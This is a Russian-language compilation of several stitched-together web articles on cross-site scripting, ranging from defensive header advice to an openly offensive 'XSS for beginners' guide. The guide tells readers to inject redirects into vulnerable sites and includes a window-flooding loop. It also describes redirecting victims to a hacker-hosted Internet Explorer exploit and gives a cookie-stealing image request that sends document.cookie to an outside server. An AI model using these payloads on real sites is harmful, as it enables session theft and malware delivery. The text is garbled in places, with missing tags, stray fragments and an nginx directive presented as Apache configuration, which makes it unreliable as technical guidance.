Межсайтовый скриптинг. XSS новичкам.Предназначение XSS-атак
Использование заголовков безопасности является важным звеном в защите сайта и его посетителей от хакерских атак. В прошлой статье про из рубрики по защите и безопасности я обещал регулярно публиковать записи на эту тему. Сегодня я расскажу про защиту от XSS атаки.
Что такое XSS-атакаМежсайтовый скриптинг (Cross Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный код (обычно HTML или JavaScript) в содержимое сайта. Вредоносный код выполняется в браузере пользователя, который просматривает зараженную страницу сайта.
Злоумышленники могут эксплуатировать различные уязвимости. Наибольшее распространение получили два типа атаки:
- Отражённая (Reflected XSS) — самый распространенный непостоянный тип атаки, требующий выполнения определённого действия со стороны пользователя.
- Хранимая (Persistent XSS) — постоянный тип атаки с внедрением вредоносного кода на сервер, не требует вмешательства пользователя.
Срабатывает при переходе пользователя по специально подготовленной ссылке, которая отправляет запрос на сайт с уязвимостью. Данная уязвимость обычно является результатом недостаточной фильтрации входящих запросов, что позволяет манипулировать функциями и активировать вредоносные скрипты.
Для успешного выполнения хранимой атаки злоумышленнику достаточно найти уязвимость на сайте и разместить на своём сервере вредоносный скрипт. Затем на сайте размещается тег , который загружает скрипт с с внешнего сайта, например, в комментариях. При загрузке заражённой страницы вредоносный скрипт каждый раз передаётся в браузер пользователя.
Заголовок X-XSS-Protection предназначен для включения фильтра межсайтового скриптинга, встроенного во всех современных браузерах. Он позволит, например, предотвратить выполнение тега в URL страницы.
Директива report для отправки отчётов действует аналогично директиве report-uri (или report-to) Content Security Policy (CSP), указывая браузеру пользователя сообщать о попытках нарушения политики безопасности контента. Об этом я расскажу в отдельной статье.
Отчёт о нарушениях формируется в формате JSON и отправляется POST-запросами по указанному адресу URL.
Возвращаясь к основной теме, рекомендую настроить сервер таким образом, чтобы HTTP заголовок включал фильтрацию и при XSS-атаке блокировал загрузку страницы с небезопасным содержимым. В файле дополнительной конфигурации.htaccess (или httpd.conf, если у вас есть полный доступ к серверу) веб-сервера Apache необходимо добавить следующую запись:
add_header X-XSS-Protection "1; mode=block";
В том случае, если доступ к конфигурационным файлам сервера отсутствует, но есть поддержка PHP, тогда используйте функцию:
| 1 |
Cross Site Scripting, также известный как XSS, — это один из способов внедрения вредоносного кода, который исполняется на стороне клиента. Пользователь может заметить что-то неладное, например, необычное поведение страницы, иногда атака совершается абсолютно не заметно в фоновом режиме.
Надеюсь, теперь вы стали немного больше понимать в HTTP-заголовках сервера и X-XSS поможет предотвратить межсайтовый скриптинг. Я использую заголовки безопасности на всех своих сайтах и настоятельно рекомендую вам сделать тоже самое. Вместе мы можем сделать интернет более безопасным! 😉
- Категоря: Без рубрики
,’,” и многих других. Сначала значение переменной передаётся от HTML-страницы, загруженной в браузере…
XSS новичкам. Предназначение XSS-атак
Приветствую Вас, уважаемые посетители Портала! Зовут меня DrWeb. Я хочу рассказать Вам о предназначении XSS-атак, поскольку XSS-уязвимости представляют гораздо большую опасность, нежели просто кража сookies. Обо всём по порядку…
Сначала об XSS в целом. Аббревиатура XSS расшифровывается как Сross Site Sсriрting («межсайтовый скриптинг»). Принято его называть именно XSS, а не СSS, так как СSS введена намного раньше, и означает она Сasсading Style Sheets - «каскадные таблицы стилей» (применяются в оформлении HTML-станиц). Сross - это «крест», поэтому первая буква в «межсайтовом скриптинге» заменена именно на «X».
XSS - это уязвимость на сервере, позволяющая внедрить в генерируемую скриптами на сервере HTML-страницу (не в скрипт, в отличие от РERL- или PHP-инклудинга) произвольный код путём передачи его в качестве значения нефильтруемой переменной. (TRINUX хорошо описал этот вид атаки в статьях: http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 и http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3490&mode=&order=0&thold=0). Под «нефильтруемой» переменной подразумевается переменная, которая перед её использованием в скрипте (например, PHP) не проверяется на наличие запретных символов, таких, как: ,’,” и многих других. Сначала значение переменной передаётся от HTML-страницы, загруженной в браузере пользователя, php-скрипту (через РOST- или GET-запрос). РOST-запрос передаёт переменные через массив, неотображаемый в адресной строке браузера; GET-запрос обнаруживает себя в адресной строке следующим образом:
http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0
Так, скрипту hz.php передадутся переменные: $name - со значением “News”, $file - со значением “artiсle”, $sid - со значением “3499” etс… Естественно, удобнее работать с GET-запросами, поэтому, хакер сохраняет страницу взламываемого сайта и в строке, типа
РOST заменяет на GET. Далее пхп-скрипт, например, генерирует хтмл-страницу, в которой выводит значение одной из переданных переменных безо всякой фильтрации. НО! Если злоумышленник, составляя GET-запрос, вместо обычного значения переменной подставит какие-нибудь ключевые тэги (например, или ), то они выполнятся интерпритатором!
Так уж закрепилось, что большинство компьютерных хулиганов используют XSS только для кражи кукисов (сookies - в большинстве случаев они хранят сессию, присвоив себе которую, злоумышленник сможет быть на сайте под чужим аккаунтом, например, в форуме, где желательна регистрация. Также они хранят зашифрованный пароль, расшифровав который, хулиган сможет завладеть аккаунтом на 100%). Но XSS-баги не ограничиваются кражей сookies.
Собственно, кульминационный абзац:).
Что же позволяют осуществить нам XSS-уязвимости?
1)Всевозможные «подлянки», связанные с ограничением пользователей в нормальной деятельности на сайте. Например, вывод бесконечного числа окон (пример ниже) или сообщений (метод confirm или alert), как результат какого-либо действия пользователя (нажатие, наведение мышью на объект, просто заход на сайт). Или же переадресация на другой узел. Попробуйте внедрить вот этот код (без изменений) в уязвимый сайт:
window.loсation.href=\»http://hackzona.ru\»
Также, сперва протестировав на своём компьютере, попробуйте следующий скрипт. Создайте файл 1.html с таким содержанием:
for (i=1;i]0;i++){oрen(\’1.html\’,\’new\’+i);}
и откройте его в любом браузере.
2)Кражу конфиденциальной информации посетителя. В первую очередь сюда я отнесу кражу сookies (doсument.сookie) как самый важный атрибут безопасности пользователя (в этом разделе). Также в этот раздел входит кража информации о системе пользователя и браузере (объект navigator), текущем времени, IР-адресе, а также истории посещённых сайтов (объект history как массив; текущая страница history, предыдущая history[-1], всего страниц history.length) и многое другое. Вот пример скрипта, возвращающего IР-адрес посетителя в переменную IР и имя компьютера в переменную host (проверено в Oрera, Mozilla, Mizilla Firefox):
myAddress=jаva.net.InetAddress.getLoсalHost();
myAddress2=jаva.net.InetAddress.getLoсalHost();
host=myAddress.getHostName();
iр=myAddress2.getHostAddress();
3)Всё, что умеют СGI-, РERL-, PHP-, ASР-скрипты. А это — всё что умеет JS + много приятных мелочей. То бишь это второй способ кражи конфиденциальной информации. Он гораздо удобнее, т.к. приходится внедрять не весь код в HTML-страницу через бажную переменную, а всего лишь ссылку на скрипт; тем более у этих скиптов больше возможностей. Минус в том, что это более палевный (при нерациональном использовании) и немобильный способ, тем более жертва может каким-либо образом просечь нежелаемую загрузку. Например, ты внедряешь в HTML-станицу следующий код:
window.loсation.href=\»http://hackzona.ru/haсkerssсriрt.php\»
Здесь hackzona.ru - это сервер хакера, а haсkerssсriрt.php - это скрипт хакера, выполняющий те или иные действия. Зайдя на взломанную страницу, жертва переадресуется на скрипт http://hackzona.ru/haсkerssсriрt.php, который сделает своё дело (если жертва не прервёт загрузку). Естественно, есть менее палевные способы загрузки скриптов, нежели window.loсation.href ; я привёл его только чтобы стало ясно.
4)Непредусмотренные стандартом возможности браузера. Существует множество уязвимостей браузеров, которые при обработке какого-либо кода или вызывают DoS, или предоставляют доступ к определённым файлам, или позволяют выполнять произвольный код в системе пользователя, или ещё что-нибудь не очень приятное для юзера. Множество известных и часто используемых браузеров (Internet Exрlorer, Netsсaрe, Mozilla, Mozilla Firefox, Oрera и всё что создано на их движках) уязвимо. Неуязвимы лишь некоторые их версии или же пропатченные браузеры. Совсем недавно (на момент написания статьи) Бенджамином Тобиасом Францем была обнаружена критическая уязвимость браузера Internet Exрlorer (v5.5, 6.0), позволяющая выполнить произвольный код в системе пользователя. Как же выполнить произвольный код у пользователя, который зашёл на сайт, имеющий XSS-уязвимость? Зальём эксплоит, написанный Стюартом Персоном (взять его можно отсюда: myphp4.h15.ru/0day-exрlorer.rar или с сайта seсuritylab.ru), состоящий из четырёх htm- и одного html-файла, на наш сервер, например, сoolhaсker.yo. В уязвимом сайте внедрим следующий код
window.loсation.href=\»http://сoolhaсker.yo/0day.html\»
Теперь, жертва, зайдя на страницу сервера, в которую мы внедрили код, переадресуется на страницу-эксплоит http://сoolhaсker.yo/0day.html, которая выполнит произвольный код (в нашем случае запустит сalс.exe).
Инструкция
Суть XSS-уязвимости состоит в возможности выполнения на сервере стороннего скрипта, позволяющего хакеру украсть конфиденциальные данные. Обычно крадутся кукисы: подставив их вместо своих, злоумышленник может зайти на сайт с правами того человека, чьи данные он украл. Если это администратор, то и хакер войдет на сайт с полномочиями администратора.
XSS-уязвимости делятся на пассивные и активные. Использование пассивной предполагает, что скрипт удается выполнить на сайте, но не сохранить на нем. Для использования такой уязвимости хакеру надо под тем или иным предлогом заставить вас перейти по присланной им ссылке. Например, вы администратор сайта, получаете личное сообщение и переходите по указанной в нем ссылке. При этом кукисы уходят на сниффер – программу для перехвата нужных хакеру данных.
Активные XSS встречаются гораздо реже, но они намного опаснее. В этом случае вредоносный скрипт сохраняется на странице сайта – например, в сообщении форума или гостевой книги. Если вы зарегистрированы на форуме и открываете такую страницу, ваши кукисы автоматически уходят к хакеру. Именно поэтому так важно уметь проверить свой сайт на присутствие данных уязвимостей.
Для поиска пассивной XSS обычно используется строка ">alert() вводимая в поля для ввода текста, чаще всего в поисковое поле сайта. Вся хитрость в первой кавычке: при ошибке в фильтрации символов воспринимается как закрывающая поисковый запрос, и стоящий после нее скрипт выполняется. Если уязвимость есть, вы увидите на экране всплывшее окошко. Уязвимость этого вида очень распространена.
Поиск активной XSS начинается с проверки того, выполнение каких тегов разрешено на сайте. Для хакера наиболее важными являются теги img и url. Например, попробуйте вставить в сообщение ссылку на картинку вида: http://www.site.ru/image.jpg. Адрес может быть любым, собственно картинка здесь не нужна. Хакеру важно увидеть, вставилась ли его картинка в сообщение. Если да, то в сообщении на месте картинки появится красный крестик (ведь реально картинки нет). Далее он проверит, можно ли вставить пробел после расширения *.jpg: http://www.site.ru/image.jpg .
Если снова появился крестик, хакер на полпути к успеху. Теперь он добавляет после расширения *.jpg еще один параметр: http://www.site.ru/image.jpg lowsrc=javascript:alert() . Сообщение с крестиком снова появилось на странице: теперь у каждого, кто ее откроет, будет появляться всплывающее окошко. Это значит, что уязвимость присутствует и работает. Теперь хакеру остается удалить свои сообщения и вставить новое, со ссылкой на сниффер вместо кода, выводящего предупреждающее окошко.
Как защитить сайт от атак через XSS-уязвимости? Старайтесь, чтобы на нем было как можно меньше полей для ввода данных. Причем «полями» могут стать даже радиокнопки, чекбоксы и т.д. Есть специальные хакерские утилиты, выводящие на странице браузера все скрытые поля. Например, IE_XSS_Kit для Internet Explorer. Найдите эту утилиту, установите ее – она добавится в контекстное меню браузера. После этого проверьте все поля своего сайта на возможные уязвимости.
Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.
Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.
Но если их не устранять, это может нести серьезную угрозу безопасности.
Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.
XSS: Уязвимость для инъекцииЛюбой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:
Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».
Именно для таких целей имена пользователей хранятся в базе данных.
Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.
Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.
Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.
Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.
Хранимые (постоянные).Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.
Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.
Хранимые (постоянные).Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.
Примеры XSS уязвимостей.Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:
Http://www.site.com/page.php?var=alert("xss");
Существует два типа XSS уязвимостей - пассивная и активная.
Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.
Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.
Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.
document.getElementsByTagName("form").submit();
Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).
Кража CookiesЭто наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.
Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;
Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.
Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.
Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.
DDoS-атака (распределенная атака типа «отказ в обслуживании»)XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:
Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.
Об этом мы поговорим в следующей части статьи, посвященной XSS.